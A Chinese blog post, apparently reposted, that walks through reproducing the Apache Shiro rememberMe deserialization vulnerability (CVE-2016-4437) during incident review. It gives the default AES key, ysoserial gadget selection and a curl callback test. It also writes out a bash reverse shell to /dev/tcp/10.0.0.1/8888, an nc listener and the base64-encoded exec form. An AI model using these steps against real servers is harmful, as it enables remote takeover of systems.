验证Shiro反序列化漏洞反弹shell
Posted 月色下的影子
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了验证Shiro反序列化漏洞反弹shell相关的知识,希望对你有一定的参考价值。
声明
漏洞的分析及验证POC参考于网络,最近一次遇到一次基于shiro反序列化反弹shell的攻击,在攻击复现过程中,把遇到的问题及检测的脚本做整理,以备后续参考。
漏洞说明
Apache Shiro在Java的权限及安全验证框架中占有重要的一席之地,在它编号为005的issue中爆出严重的Java反序列化漏洞。
Shiro在使用中存在一个名为rememberMe的Cookie,该Cookie中的值是base64编码形式,由数据通过AES(IV、CBC)加密生成,该值在传到服务端后,会对该值进行反序列换操作。
AES加密的IV可以是随机的,密钥采用固定密钥:kPH+bIxk5D2deZiIxcaaaA==
漏洞的复现及分析请参考:
http://blog.knownsec.com/2016/08/apache-shiro-java/
漏洞检测
1. 首先找到存在问题的Shiro框架应用(此处利用业务测试环境复现,自行搭建请参考上述链接)
如果条件允许,则通过服务器后台,搜索shiro的jar包,查看版本,版本 <= 1.2.4 均会存在问题
在通过前台拦截访问请求,检查是否存在rememberMe cookie, 在本次业务中,发现响应有返回设置rememberMe,但是设置过期了,在请求中无法发现该cookie。
2. 下载ysoserial.jar,该工具可生成java反序列换利用payload
https://github.com/frohoff/ysoserial
3. 确认可利用的【payload】
在ysoserial生成利用代码的命令中,需要传入payload参数,是指利用执行命令的jar包,其中有CommonsBeanutils1,CommonsCollections2等,在生成代码时,利用应用环境存在的jar。
在本次复现中,通过find / -name common*.jar 发现存在commons-beanutils:1.9.2,commons-collections:3.2.1 ,最开始时网上大部分都是基于CommonsCollections4或CommonsCollections2进行分析和验证,实际利用时发现执行失败,需要利用CommonsBeanutils1才可以。
如果无法确定可利用的jar包,就需要遍历所有payload。
4. 通过脚本生成payload,执行简单的系统命令:
mkdir shirorce, curl http://ip:port/ssrf
网上找到一个相对不错的脚本:
https://github.com/lightless233/Java-Unserialization-Study/blob/master/src/main/java/me/lightless/shiro/shiro.py
5. 利用执行
通过修改脚本中写死的命令和EXP_CLASS(指定利用不同的payload),输出攻击exp
通过BP拦截修改请求,添加Cookie(rememberMe),填入该exp,即可攻击利用成功
Java反序列化反弹shell
反弹shell命令: bash -i >& /dev/tcp/10.0.0.1/8888 0>&1
nc监听shell: nc -l -p 8888 -vvv
最初直接将脚本中的命令替换成反弹shell的命令,生成exp,发现无法利用,无法执行成功。
Runtime.getRuntime().exec()是Java中执行系统命令的方法,该接口中不能使用管道符等bash需要的方法,需要对bash进行一次编码:http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/10.0.0.1/8888 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
最后将编码后的命令填入poc.py生成新的exp,攻击利用成功。
参考链接:
http://www.jackson-t.ca/runtime-exec-payloads.html
https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149
https://www.freebuf.com/vuls/178014.html
以上是关于验证Shiro反序列化漏洞反弹shell的主要内容,如果未能解决你的问题,请参考以下文章
CVE-2016-4437(Apache Shiro 反序列化漏洞)